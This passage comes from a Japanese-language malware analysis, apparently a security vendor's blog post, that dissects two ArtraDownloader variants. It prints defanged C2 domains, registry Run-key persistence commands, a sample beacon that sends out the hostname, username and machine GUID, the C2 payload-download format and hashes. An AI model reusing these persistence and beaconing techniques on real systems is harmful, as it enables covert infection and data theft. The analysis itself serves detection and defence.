hewle.kielsoservice[.]net<\/span><\/p>\n<p>\u3053\u306e\u5f8c\u306f\u6b21\u306e\u30d5\u30a9\u30eb\u30c0\u30d1\u30b9\u3092\u53d6\u5f97\u3057\u3088\u3046\u3068\u3057\u307e\u3059\u3002\u6700\u521d\u306b\u6b63\u3057\u304f\u8b58\u5225\u3055\u308c\u305f\u30d5\u30a9\u30eb\u30c0\u304c\u4f7f\u7528\u3055\u308c\u307e\u3059\u3002<\/p>\n<ul>\n<li>TEMPLATES<\/li>\n<li>NETHOOD<\/li>\n<li>APPDATA<\/li>\n<\/ul>\n<p>ctfmon.exe\u30d5\u30a1\u30a4\u30eb\u304c\u3053\u306e\u30d1\u30b9\u306b\u8ffd\u52a0\u3055\u308c\u307e\u3059\u3002\u307e\u3060\u5b58\u5728\u3057\u306a\u3044\u5834\u5408\u3001\u3053\u306e\u30d1\u30b9\u306bArtraDownloader\u81ea\u4f53\u3082\u30b3\u30d4\u30fc\u3055\u308c\u307e\u3059\u3002<\/p>\n<p>\u305d\u306e\u5f8c\u3001\u3053\u306e\u30de\u30eb\u30a6\u30a7\u30a2\u306f\u6b21\u306e\u30d5\u30a9\u30eb\u30c0\u30d1\u30b9\u3092\u53d6\u5f97\u3057\u3088\u3046\u3068\u3057\u307e\u3059\u3002\u6700\u521d\u306b\u6b63\u3057\u304f\u8b58\u5225\u3055\u308c\u305f\u30d5\u30a9\u30eb\u30c0\u304c\u4f7f\u7528\u3055\u308c\u307e\u3059\u3002<\/p>\n<ul>\n<li>NETHOOD<\/li>\n<li>TEMPLATES<\/li>\n<li>APPDATA<\/li>\n<\/ul>\n<p>perfc\u30d5\u30a1\u30a4\u30eb\u304c\u3053\u306e\u30d1\u30b9\u306b\u8ffd\u52a0\u3055\u308c\u307e\u3059\u3002\u3053\u306e\u30d1\u30b9\u306f\u30de\u30eb\u30a6\u30a7\u30a2\u304c\u30ea\u30e2\u30fc\u30c8\u30d5\u30a1\u30a4\u30eb\u3092\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3059\u308b\u3068\u304d\u306e\u4e00\u6642\u7684\u306a\u4fdd\u5b58\u5148\u3068\u3057\u3066\u4f7f\u7528\u3055\u308c\u307e\u3059\u3002<\/p>\n<p>\u30c0\u30a6\u30f3\u30ed\u30fc\u30c0\u306f\u3001HKLM\\SOFTWARE\\Microsoft\\Cryptography\\MachineGuid\u30ec\u30b8\u30b9\u30c8\u30ea\u30ad\u30fc\u3092\u4ecb\u3057\u3066\u88ab\u5bb3\u8005\u306e\u30de\u30b7\u30f3\u306eGUID\u3092\u8b58\u5225\u3057\u307e\u3059\u3002\u3053\u306e\u30ad\u30fc\u304c\u6b63\u5e38\u306b\u30af\u30a8\u30ea\u3055\u308c\u305f\u5834\u5408\u306f\u3001\u6b21\u306e\u30c7\u30fc\u30bf\u3092\u542b\u3080\u6587\u5b57\u5217\u304c\u6574\u5f62\u3055\u308c\u307e\u3059\u3002<\/p>\n<p style=\"padding-left: 40px;\"><span style=\"font-family: 'courier new', courier, monospace;\">[Computer Name]##[Username]@@[Machine GUID]<\/span><\/p>\n<p>\u30ad\u30fc\u304c\u6b63\u5e38\u306b\u30af\u30a8\u30ea\u3055\u308c\u306a\u304b\u3063\u305f\u5834\u5408\u306f\u3001\u6b21\u306e\u6587\u5b57\u5217\u304c\u751f\u6210\u3055\u308c\u307e\u3059\u3002<\/p>\n<p style=\"padding-left: 40px;\"><span style=\"font-family: 'courier new', courier, monospace;\">[Computer Name]!@[Username]<\/span><\/p>\n<p>\u3053\u306e\u60c5\u5831\u306f\u3053\u306e\u5f8c\u306b\u7d9a\u304f\u30cd\u30c3\u30c8\u30ef\u30fc\u30af\u30ea\u30af\u30a8\u30b9\u30c8\u3067\u4f7f\u7528\u3055\u308c\u307e\u3059\u3002\u6c38\u7d9a\u6027\u3092\u7dad\u6301\u306b\u3059\u308b\u305f\u3081\u3001\u30de\u30eb\u30a6\u30a7\u30a2\u306f\u30db\u30b9\u30c8\u306e\u30ec\u30b8\u30b9\u30c8\u30ea\u3092\u5909\u66f4\u3057\u307e\u3059\u3002\u6b21\u306e2\u3064\u306e\u30ad\u30fc\u304c\u8a2d\u5b9a\u3055\u308c\u307e\u3059\u3002<\/p>\n<p style=\"padding-left: 40px;\"><span style=\"font-family: 'courier new', courier, monospace;\">HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\JITDfbug \u2013 \"cmd \/c start %Qrp% &amp;&amp; exit\"<\/span><br \/>\n<span style=\"font-family: 'courier new', courier, monospace;\">HKCU\\Environment\\Qrp \u2013 [path]\\ctfmon.exe<\/span><\/p>\n<p>\u3053\u3053\u3067<span style=\"font-family: 'courier new', courier, monospace;\">[path]<\/span>\u306f\u3001ArtraDownloader\u304c\u81ea\u5206\u81ea\u8eab\u306e\u30b3\u30d4\u30fc\u5148\u3068\u3057\u3066\u9078\u629e\u3057\u305f\u30d1\u30b9\u3067\u3059\u3002\u3053\u308c\u30892\u3064\u306e\u30ec\u30b8\u30b9\u30c8\u30ea\u30ad\u30fc\u5909\u66f4\u3067\u3001\u88ab\u5bb3\u8005\u306ePC\u306f\u8d77\u52d5\u306e\u305f\u3073\u306b\u30de\u30eb\u30a6\u30a7\u30a2\u3092\u5b9f\u884c\u3059\u308b\u3088\u3046\u306b\u306a\u308a\u307e\u3059\u3002<\/p>\n<p>\u30de\u30eb\u30a6\u30a7\u30a2\u5b9f\u884c\u30d5\u30ed\u30fc\u306e\u3053\u306e\u6642\u70b9\u3067\u3001\u5148\u306b\u8aac\u660e\u3057\u305f20\u79d2\u30bf\u30a4\u30de\u30fc\u3067\u5b9f\u884c\u3055\u308c\u308b\u95a2\u6570\u304c\u6700\u7d42\u7684\u306b\u5b9f\u884c\u3055\u308c\u307e\u3059\u3002\u3053\u306e\u95a2\u6570\u306f\u3001\u30ea\u30e2\u30fc\u30c8C2\u30b5\u30fc\u30d0\u306b\u5bfe\u3057\u3001\u6b21\u306e\u4f8b\u306b\u793a\u3059POST\u30ea\u30af\u30a8\u30b9\u30c8\u3092\u751f\u6210\u3059\u308b\u3068\u3053\u308d\u304b\u3089\u6d3b\u52d5\u3092\u59cb\u3081\u307e\u3059\u3002<\/p>\n<p style=\"padding-left: 40px;\"><span style=\"font-family: 'courier new', courier, monospace;\">POST \/Engset.php HTTP\/1.0<\/span><br \/>\n<span style=\"font-family: 'courier new', courier, monospace;\">Host: hewle.kielsoservice[.]net<\/span><br \/>\n<span style=\"font-family: 'courier new', courier, monospace;\">Connection: keep-alive<\/span><br \/>\n<span style=\"font-family: 'courier new', courier, monospace;\">Content-type: application\/x-www-form-urlencoded<\/span><br \/>\n<span style=\"font-family: 'courier new', courier, monospace;\">Content-length: 148<\/span><\/p>\n<p style=\"padding-left: 40px;\"><span style=\"font-family: 'courier new', courier, monospace;\">BCDEF=XJO.82GO2QF2BU9&amp;MNOPQ=Xjoepxt!8!Vmujnbuf&amp;GHIJ=Kpti!Hsvo{xfjh&amp;UVWXYZ=XJO.82GO2QF2BU9$$Kpti!Hsvo{xfjhAA214cf8g5.cgc9.51gb.914d.f17ceg:e4cc7&amp;st=0<\/span><\/p>\n<p>\u3053\u306e\u30ea\u30af\u30a8\u30b9\u30c8\u306ePOST\u30c7\u30fc\u30bf\u306f\u3001\u524d\u8ff0\u306e\u6587\u5b57\u5217\u306b\u5bfe\u3057\u3066\u884c\u308f\u308c\u3066\u3044\u305f\u30a8\u30f3\u30b3\u30fc\u30c9\u65b9\u6cd5\u3068\u540c\u3058\u624b\u6cd5\u3067\u30a8\u30f3\u30b3\u30fc\u30c9\u3055\u308c\u307e\u3059\u3002\u3053\u306e\u30c7\u30fc\u30bf\u3092\u30c7\u30b3\u30fc\u30c9\u3059\u308b\u3068\u4ee5\u4e0b\u306e\u3088\u3046\u306b\u306a\u308a\u307e\u3059\u3002<\/p>\n<table>\n<tbody>\n<tr>\n<td><strong>POST\u5909\u6570<\/strong><\/td>\n<td><strong>\u8aac\u660e<\/strong><\/td>\n<td><strong>\u30c7\u30b3\u30fc\u30c9\u3057\u305f\u5834\u5408\u306e\u30b5\u30f3\u30d7\u30eb<\/strong><\/td>\n<\/tr>\n<tr>\n<td>BCDEF<\/td>\n<td>\u30db\u30b9\u30c8\u540d<\/td>\n<td>WIN-71FN1PE1AT8<\/td>\n<\/tr>\n<tr>\n<td>MNOPQ<\/td>\n<td>Microsoft Windows \u30d0\u30fc\u30b8\u30e7\u30f3<\/td>\n<td>Windows 7 Ultimate<\/td>\n<\/tr>\n<tr>\n<td>GHIJ<\/td>\n<td>\u30e6\u30fc\u30b6\u30fc\u540d<\/td>\n<td>Josh Grunzweig<\/td>\n<\/tr>\n<tr>\n<td>UVWXYZ<\/td>\n<td>\u4f5c\u6210\u3057\u3066\u304a\u3044\u305f\u6587\u5b57\u5217\u3002\u3053\u308c\u3092\u4f7f\u3063\u3066\u88ab\u5bb3\u8005\u3092\u4e00\u610f\u306b\u8b58\u5225\u3059\u308b<\/td>\n<td>WIN-71FN1PE1AT8##Josh Grunzweig@@103be7f4-bfb8-40fa-803c-e06bdf9d3bb6<\/td>\n<\/tr>\n<tr>\n<td>st<\/td>\n<td>\u4ee5\u524d\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3057\u305f\u30d5\u30a1\u30a4\u30eb\u304c\u6b63\u5e38\u306b\u5b9f\u884c\u3055\u308c\u305f\u304b\u3069\u3046\u304b\u3092\u793a\u3059\u30d6\u30fc\u30eb\u5024<\/td>\n<td>0<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p><span style=\"font-size: 10pt;\">\u88682 ArtraDownloader\u4e9c\u7a2e1\u306e\u30c7\u30b3\u30fc\u30c9\u3055\u308c\u305fPOST\u30ea\u30af\u30a8\u30b9\u30c8<\/span><\/p>\n<p>\u671f\u5f85\u3055\u308c\u308b\u30ec\u30b9\u30dd\u30f3\u30b9\u306f\u6b21\u306e\u3068\u304a\u308a\u3067\u3059\u3002\u3053\u3053\u3067\u300c<span style=\"font-family: 'courier new', courier, monospace;\">qbzmpbe<\/span>\u300d\u306f\u3001\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u5f8c\u5b9f\u884c\u3055\u308c\u308b\u30b5\u30f3\u30d7\u30eb\u3092\u30a8\u30f3\u30b3\u30fc\u30c9\u3057\u305f\u5b9f\u884c\u53ef\u80fd\u30d5\u30a1\u30a4\u30eb\u540d(\u30c7\u30b3\u30fc\u30c9\u3055\u308c\u305f\u5f8c\u306f\u300c<span style=\"font-family: 'courier new', courier, monospace;\">payload<\/span>\u300d)\u3067\u3059\u3002<\/p>\n<p style=\"padding-left: 40px;\"><span style=\"font-family: 'courier new', courier, monospace;\">DFCB=DWN qbzmpbe&lt;br&gt;<\/span><\/p>\n<p>\u671f\u5f85\u3057\u3066\u3044\u305f\u30ec\u30b9\u30dd\u30f3\u30b9\u304c\u30ea\u30e2\u30fc\u30c8C2\u30b5\u30fc\u30d0\u30fc\u304b\u3089\u8fd4\u3055\u308c\u308c\u3070\u3001ArtraDownloader\u306f\u7d9a\u304fPOST\u30ea\u30af\u30a8\u30b9\u30c8\u3092\u884c\u3044\u307e\u3059\u3002<\/p>\n<p>\u4e0a\u8a18\u306e\u30ea\u30af\u30a8\u30b9\u30c8\u4f8b\u3067\u306f\u3001\u524d\u306e\u30ea\u30af\u30a8\u30b9\u30c8\u306eUZWXYZ POST\u5909\u6570\u3067\u78ba\u8a8d\u3057\u305f\u3082\u306e\u3068\u540c\u3058\u4e00\u610f\u306e\u8b58\u5225\u5b50\u3092\u4f7f\u7528\u3057\u3066\u3044\u307e\u3059\u3002<\/p>\n<p>\u30ea\u30e2\u30fc\u30c8C2\u30b5\u30fc\u30d0\u30fc\u306f\u3001\u30ec\u30b9\u30dd\u30f3\u30b9\u304c\u6b21\u306e\u5f62\u5f0f\u3067\u3042\u308b\u3053\u3068\u3092\u671f\u5f85\u3057\u3066\u3044\u307e\u3059\u3002<\/p>\n<p style=\"padding-left: 40px;\"><span style=\"font-family: 'courier new', courier, monospace;\">exe[hex-encoded data]&amp;lt<\/span><\/p>\n<p>\u3053\u3053\u3067[hex-encoded data]\u306f16\u9032\u30a8\u30f3\u30b3\u30fc\u30c9\u3055\u308c\u305f\u30da\u30a4\u30ed\u30fc\u30c9\u306e\u30d0\u30a4\u30ca\u30ea\u3067\u3059\u3002\u6b21\u306e\u4f8b\u3067\u793a\u3059\u3088\u3046\u306b\u3001\u30e2\u30c3\u30af\u7528\u306eC2\u30b5\u30fc\u30d0\u30fc\u304b\u3089\u30ec\u30b9\u30dd\u30f3\u30b9\u306fraw\u306e\u307e\u307eperfc\u30d5\u30a1\u30a4\u30eb\u306b\u66f8\u304d\u8fbc\u307e\u308c\u307e\u3059\u3002<\/p>\n<p style=\"padding-left: 40px;\"><span style=\"font-family: 'courier new', courier, monospace;\">HTTP\/1.0 200 OK<\/span><br \/>\n<span style=\"font-family: 'courier new', courier, monospace;\">Content-Type: text\/html; charset=utf-8<\/span><br \/>\n<span style=\"font-family: 'courier new', courier, monospace;\">Content-Length: 28<\/span><br \/>\n<span style=\"font-family: 'courier new', courier, monospace;\">Server: Werkzeug\/0.12.2 Python\/2.7.15<\/span><br \/>\n<span style=\"font-family: 'courier new', courier, monospace;\">Date: Tue, 08 Jan 2019 18:46:23 GMT<\/span><\/p>\n<p style=\"padding-left: 40px;\"><span style=\"font-family: 'courier new', courier, monospace;\">exe68656c6c6f20776f726c64&amp;lt<\/span><\/p>\n<p>\u3053\u306e\u30d5\u30a1\u30a4\u30eb\u304c\u66f8\u304d\u8fbc\u307e\u308c\u305f\u5f8c\u3001\u30de\u30eb\u30a6\u30a7\u30a2\u306f16\u9032\u30a8\u30f3\u30b3\u30fc\u30c9\u3055\u308c\u305f\u30c7\u30fc\u30bf\u3092\u30c7\u30b3\u30fc\u30c9\u3057\u3001perfc\u3068\u540c\u3058\u30d1\u30b9\u306b\u3042\u308b\u4ee5\u524d\u306b\u5b9a\u7fa9\u3055\u308c\u305f\u30d5\u30a1\u30a4\u30eb\u540d\u306b\u3053\u308c\u3092\u66f8\u304d\u8fbc\u307f\u307e\u3059\u3002\u5148\u307b\u3069\u306e\u4f8b\u3067\u306f\u3001\u30da\u30a4\u30ed\u30fc\u30c9\u306f\u30d5\u30a1\u30a4\u30eb\u540d\u3068\u3057\u3066\u63d0\u4f9b\u3055\u308c\u3066\u3044\u305f\u306e\u3067\u3001\u3053\u306e\u7279\u5b9a\u306e\u30da\u30a4\u30ed\u30fc\u30c9\u306fpayload.exe\u306b\u66f8\u304d\u8fbc\u307e\u308c\u307e\u3059\u3002\u30e2\u30c3\u30af\u7528\u30b5\u30fc\u30d0\u304b\u3089\u306e\u4f8b\u3092\u4f7f\u7528\u3059\u308b\u3068\u3001\u3053\u306e\u30d5\u30a1\u30a4\u30eb\u306b\u306f\u300chello world\u300d\u3068\u3044\u3046\u6587\u5b57\u5217\u304c\u542b\u307e\u308c\u308b\u3053\u3068\u306b\u306a\u308a\u307e\u3059\u3002<\/p>\n<p>\u3053\u306e\u6bb5\u968e\u3067\u3001\u30de\u30eb\u30a6\u30a7\u30a2\u306fShellExecuteA()\u547c\u3073\u51fa\u3057\u3092\u4ecb\u3057\u3066\u65b0\u3057\u3044\u30d7\u30ed\u30bb\u30b9\u3067\u3053\u306e\u65b0\u3057\u304f\u4f5c\u6210\u3055\u308c\u305f\u5b9f\u884c\u30d5\u30a1\u30a4\u30eb\u3092\u958b\u304d\u307e\u3059\u3002\u3053\u308c\u304c\u6210\u529f\u3059\u308b\u3068\u3001ArtraDownloader\u306f\u540c\u3058POST\u30d1\u30e9\u30e1\u30fc\u30bf\u3067\/Engset.php\u3078\u306e\u305d\u306e\u5f8c\u306eHTTP\u30ea\u30af\u30a8\u30b9\u30c8\u3092\u884c\u3044\u307e\u3059\u3002\u305f\u3060\u3057\u3001\u3053\u306e\u8981\u6c42\u3067\u306f\u3001POST\u5909\u6570st\u304c1\u306b\u8a2d\u5b9a\u3055\u308c\u307e\u3059\u3002<\/p>\n<h3>ArtraDownloader\u30de\u30eb\u30a6\u30a7\u30a2\u89e3\u6790 - \u4e9c\u7a2e2<\/h3>\n<p>\u3053\u306e\u5206\u6790\u306e\u6b8b\u308a\u306e\u90e8\u5206\u3067\u306f\u3001\u6b21\u306e\u30d5\u30a1\u30a4\u30eb\u3092\u4f7f\u7528\u3057\u307e\u3059\u3002<\/p>\n<table>\n<tbody>\n<tr>\n<td><strong>MD5<\/strong><\/td>\n<td>8d42c01180be7588a2a68ad96dd0cf85<\/td>\n<\/tr>\n<tr>\n<td><strong>SHA1<\/strong><\/td>\n<td>89a7861acb7983ad712ae9206131c96454a1b3d8<\/td>\n<\/tr>\n<tr>\n<td><strong>SHA256<\/strong><\/td>\n<td>0b2a794bac4bf650b6ba537137504162520b67266449be979679afbb14e8e5c0<\/td>\n<\/tr>\n<tr>\n<td><strong>\u30b3\u30f3\u30d1\u30a4\u30eb\u30bf\u30a4\u30e0\u30b9\u30bf\u30f3\u30d7<\/strong><\/td>\n<td>2019-01-07 07:13:47 UTC<\/td>\n<\/tr>\n<tr>\n<td><strong>PDB\u6587\u5b57\u5217<\/strong><\/td>\n<td>c:\\Users\\Asterix\\Documents\\Visual Studio 2008\\Projects\\28NovDwn\\Release\\28NovDwn.pdb<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p><span style=\"font-size: 10pt;\">\u88683 ArtraDownloader\u4e9c\u7a2e2\u306e\u30b5\u30f3\u30d7\u30eb<\/span><\/p>\n<p>\u5b9f\u884c\u3059\u308b\u3068\u3001\u3053\u306e\u30b5\u30f3\u30d7\u30eb\u306f\u6b21\u306e\u30d7\u30ed\u30d1\u30c6\u30a3\u3092\u6301\u3064\u65b0\u3057\u3044Window\u30af\u30e9\u30b9\u3092\u4f5c\u6210\u3057\u3066\u767b\u9332\u3057\u307e\u3059\u3002<\/p>\n<p style=\"padding-left: 40px;\"><span style=\"font-family: 'courier new', courier, monospace;\">Window Name: 28NovDwn<\/span><br \/>\n<span style=\"font-family: 'courier new', courier, monospace;\">Class Name: MY28NOVDWN<\/span><\/p>\n<p>\u3053\u306e\u30de\u30eb\u30a6\u30a7\u30a2\u306f\u3001\u30b7\u30f3\u30d7\u30eb\u306a\u30eb\u30fc\u30c1\u30f3\u3067\u4e00\u9023\u306e\u6587\u5b57\u5217\u3092\u89e3\u8aad\u3057\u307e\u3059\u3002\u3053\u306e\u4e00\u9023\u306e\u6587\u5b57\u5217\u3092\u30c7\u30b3\u30fc\u30c9\u3059\u308b\u306e\u306b\u3001\u6b21\u306ePython\u30b3\u30fc\u30c9\u3092\u5229\u7528\u3067\u304d\u307e\u3059\u3002<\/p>\n<pre class=\"\">def decode(data):\r\n   out = \"\"\r\n   for d in data:\r\n      out += chr((ord(d)-3)&amp;0xFF)\r\n   return out<\/pre>\n<p style=\"padding-left: 40px;\"><span style=\"font-family: 'courier new', courier, monospace;\">&gt;&gt; print(decode(\"iudphzrunvxssruw1qhw\"))<\/span><br \/>\n<span style=\"font-family: 'courier new', courier, monospace;\">&gt;&gt; frameworksupport[.]net<\/span><\/p>\n<p>\u3053\u306e\u5f8c\u306fC:\\intel\\\u30c7\u30a3\u30ec\u30af\u30c8\u30ea\u3092\u4f5c\u6210\u3057\u3088\u3046\u3068\u3057\u307e\u3059\u304c\u3001\u6700\u7d42\u7684\u306b\u306f\u3053\u3053\u306b\u3055\u307e\u3056\u307e\u306a\u30d5\u30a1\u30a4\u30eb\u304c\u4fdd\u5b58\u3055\u308c\u308b\u3053\u3068\u306b\u306a\u308a\u307e\u3059\u3002\u88ab\u5bb3\u8005\u306ePC\u4e0a\u3067\u306e\u6c38\u7d9a\u6027\u3092\u7dad\u6301\u3059\u308b\u305f\u3081\u3001\u307e\u3060\u5b58\u5728\u3057\u306a\u3044\u5834\u5408\u306f\u6b21\u306e\u30ec\u30b8\u30b9\u30c8\u30ea\u3092\u4f5c\u6210\u3057\u307e\u3059\u3002<\/p>\n<p style=\"padding-left: 40px;\"><span style=\"font-family: 'courier new', courier, monospace;\">HKCU\\Environment\\AppId \u2013 c:\\intel\\msdtcv.exe<\/span><\/p>\n<p>\u305d\u306e\u5f8c\u3001ArtraDownloader\u306f\u6b21\u306e\u30ec\u30b8\u30b9\u30c8\u30ea\u30ad\u30fc\u3092\u8a2d\u5b9a\u3057\u3066\u3001\u518d\u8d77\u52d5\u5f8c\u306b\u30de\u30eb\u30a6\u30a7\u30a2\u304c\u5b9f\u884c\u3055\u308c\u308b\u3088\u3046\u306b\u3057\u307e\u3059\u3002<\/p>\n<p style=\"padding-left: 40px;\"><span style=\"font-family: 'courier new', courier, monospace;\">HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run \u2013 cmd \/c start %AppId% &amp;&amp; exit<\/span><\/p>\n<p>\u3055\u3089\u306b\u3001\u5225\u306e\u30b9\u30ec\u30c3\u30c9\u3067\u3001\u3053\u306e\u30de\u30eb\u30a6\u30a7\u30a2\u306f\u65b0\u3057\u3044\u30d7\u30ed\u30bb\u30b9\u3092\u751f\u6210\u3057\u3001\u81ea\u5206\u81ea\u8eab\u3092C:\\intel\\msdtcv.exe\u3068\u3044\u3046\u30d1\u30b9\u306b\u30b3\u30d4\u30fc\u3057\u307e\u3059\u3002<br \/>\n\u30aa\u30da\u30ec\u30fc\u30c6\u30a3\u30f3\u30b0\u30b7\u30b9\u30c6\u30e0\u3001\u30de\u30b7\u30f3\u306eGUID\u3001\u30db\u30b9\u30c8\u540d\u306b\u95a2\u3059\u308b\u60c5\u5831\u3092\u542b\u3080\u3001\u88ab\u5bb3\u8005\u306ePC\u306b\u95a2\u3059\u308b\u3055\u307e\u3056\u307e\u306a\u60c5\u5831\u304c\u53ce\u96c6\u3055\u308c\u307e\u3059\u3002\u3053\u306e\u60c5\u5831\u306f\u3001\u6700\u7d42\u7684\u306b\u306f\u88ab\u5bb3\u8005\u7279\u5b9a\u3068\u611f\u67d3\u30db\u30b9\u30c8\u306b\u95a2\u3059\u308b\u4e00\u822c\u60c5\u5831\u63d0\u4f9b\u306e\u4e21\u65b9\u306b\u4f7f\u7528\u3055\u308c\u307e\u3059\u3002<\/p>\n<p>\u6b21\u306e\u4f8b\u306e\u3088\u3046\u306aGET\u30ea\u30af\u30a8\u30b9\u30c8\u304c\u30ea\u30e2\u30fc\u30c8C2\u30b5\u30fc\u30d0\u30fc\u306b\u5bfe\u3057\u3066\u884c\u308f\u308c\u307e\u3059\u3002<\/p>\n<p style=\"padding-left: 40px;\"><img  class=\"wp-image-101240 size-full alignnone lozad\"  data-src=\"https:\/\/unit42-preview.paloaltonetworks.com\/wp-content\/uploads\/2019\/02\/sample02_01.png\" alt=\"\" width=\"790\" height=\"151\" srcset=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/02\/sample02_01.png 790w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/02\/sample02_01-300x57.png 300w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/02\/sample02_01-768x147.png 768w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/02\/sample02_01-370x71.png 370w\" sizes=\"(max-width: 790px) 100vw, 790px\" \/><\/p>\n<p>\u4e0a\u8a18\u306e\u30ea\u30af\u30a8\u30b9\u30c8\u306e\u4f8b\u3067\u306f\u3001GET\u5909\u6570TIe\u304c\u63d0\u4f9b\u3059\u308b\u30c7\u30fc\u30bf\u306f\u300c*\u300d\u3067\u533a\u5207\u3089\u308c\u3001\u6b8b\u308a\u306e\u30c7\u30fc\u30bf\u306f\u5404\u30d0\u30a4\u30c8\u306b1\u3092\u52a0\u3048\u308b\u3053\u3068\u306b\u3088\u3063\u3066\u30a8\u30f3\u30b3\u30fc\u30c9\u3055\u308c\u3066\u3044\u307e\u3059\u3002\u3053\u306e\u6587\u5b57\u5217\u3092\u30c7\u30b3\u30fc\u30c9\u3059\u308b\u3068\u3001\u6b21\u306e\u3088\u3046\u306b\u306a\u308a\u307e\u3059\u3002<\/p>\n<p style=\"padding-left: 40px;\"><img  class=\"wp-image-101242 size-full alignnone lozad\"  data-src=\"https:\/\/unit42-preview.paloaltonetworks.com\/wp-content\/uploads\/2019\/02\/sample02_02.png\" alt=\"\" width=\"789\" height=\"77\" srcset=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/02\/sample02_02.png 789w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/02\/sample02_02-300x29.png 300w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/02\/sample02_02-768x75.png 768w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/02\/sample02_02-370x36.png 370w\" sizes=\"(max-width: 789px) 100vw, 789px\" \/><\/p>\n<p>\u4e0a\u8a18\u306e\u30c7\u30fc\u30bf\u306b\u306f\u3001\u30b3\u30f3\u30d4\u30e5\u30fc\u30bf\u306eGUID\u3001\u88ab\u5bb3\u8005\u306e\u30db\u30b9\u30c8\u540d\u3001\u304a\u3088\u3073\u30aa\u30da\u30ec\u30fc\u30c6\u30a3\u30f3\u30b0\u30b7\u30b9\u30c6\u30e0\u306b\u95a2\u3059\u308b\u60c5\u5831\u304c\u542b\u307e\u308c\u3066\u3044\u307e\u3059\u3002\u6b21\u306eC2\u30ec\u30b9\u30dd\u30f3\u30b9\u304c\u793a\u3059\u3088\u3046\u306b\u3001\u3053\u306e\u7279\u5b9a\u306eGET\u30ea\u30af\u30a8\u30b9\u30c8\u3067\u306fAXE: \u8b58\u5225\u5b50\u3092\u63a2\u3057\u3066\u3044\u307e\u3059\u3002<\/p>\n<p style=\"padding-left: 40px;\"><img  class=\"wp-image-101244 size-full alignnone lozad\"  data-src=\"https:\/\/unit42-preview.paloaltonetworks.com\/wp-content\/uploads\/2019\/02\/sample02_03.png\" alt=\"\" width=\"776\" height=\"298\" srcset=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/02\/sample02_03.png 776w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/02\/sample02_03-300x115.png 300w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/02\/sample02_03-768x295.png 768w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/02\/sample02_03-370x142.png 370w\" sizes=\"(max-width: 776px) 100vw, 776px\" \/><\/p>\n<p>\u3053\u306e\u30ec\u30b9\u30dd\u30f3\u30b9\u3067\u306f\u300c#\u300d\u306e\u9593\u306e\u30c7\u30fc\u30bf\u304c\u30d1\u30fc\u30b9\u3055\u308c\u3001\u305d\u306e\u5f8c\u306b\u7d9a\u304f\u30ea\u30af\u30a8\u30b9\u30c8\u304c\u884c\u308f\u308c\u307e\u3059\u3002\u3053\u306e\u60c5\u5831\u304c\u30ec\u30b9\u30dd\u30f3\u30b9\u306b\u542b\u307e\u308c\u3066\u3044\u308b\u5834\u5408\u3001\u30de\u30eb\u30a6\u30a7\u30a2\u306fCSIDL_HISTORY\u30d5\u30a9\u30eb\u30c0\u306b\u30af\u30a8\u30ea\u3092\u51fa\u3057\u307e\u3059\u3002CSIDL_HISTORY\u30d5\u30a9\u30eb\u30c0\u306f\u3001\u30a4\u30f3\u30bf\u30fc\u30cd\u30c3\u30c8\u5c65\u6b74\u9805\u76ee\u306e\u5171\u901a\u30ea\u30dd\u30b8\u30c8\u30ea\u3068\u3057\u3066\u306e\u5f79\u5272\u304c\u3042\u308b\u30d5\u30a1\u30a4\u30eb\u30b7\u30b9\u30c6\u30e0\u30c7\u30a3\u30ec\u30af\u30c8\u30ea\u3067\u3059\u3002\u3053\u306e\u30d1\u30b9\u306b\u306f\u6587\u5b57\u5217ZX\u304c\u8ffd\u52a0\u3055\u308c\u3001\u305d\u306e\u5f8c\u306bHTTP\u30ec\u30b9\u30dd\u30f3\u30b9\u3067\u4f7f\u7528\u3055\u308c\u308b\u30d5\u30a1\u30a4\u30eb\u540d\u304c\u7d9a\u304d\u307e\u3059\u3002\u3053\u306e\u4f8b\u3067\u306fwscspl\u3067\u3059\u3002\u3053\u306e\u4f8b\u3067\u306f\u6b21\u306e\u3088\u3046\u306b\u306a\u308a\u307e\u3059\u3002<\/p>\n<p style=\"padding-left: 40px;\"><img  class=\"size-full wp-image-101246 alignnone lozad\"  data-src=\"https:\/\/unit42-preview.paloaltonetworks.com\/wp-content\/uploads\/2019\/02\/sample02_04.png\" alt=\"\" width=\"781\" height=\"57\" srcset=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/02\/sample02_04.png 781w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/02\/sample02_04-300x22.png 300w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/02\/sample02_04-768x56.png 768w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/02\/sample02_04-370x27.png 370w\" sizes=\"(max-width: 781px) 100vw, 781px\" \/><\/p>\n<p>\u3053\u306e\u65b0\u3057\u304f\u751f\u6210\u3055\u308c\u305f\u30d5\u30a1\u30a4\u30eb\u30d1\u30b9\u306b\u63d0\u4f9b\u3055\u308c\u308b\u30c7\u30fc\u30bf\u306b\u5bfe\u3059\u308bHTTP\u30ea\u30af\u30a8\u30b9\u30c8\u306f\u6b21\u306e\u3068\u304a\u308a\u3067\u3059\u3002<\/p>\n<p style=\"padding-left: 40px;\"><img  class=\"size-full wp-image-101248 alignnone lozad\"  data-src=\"https:\/\/unit42-preview.paloaltonetworks.com\/wp-content\/uploads\/2019\/02\/sample02_05.png\" alt=\"\" 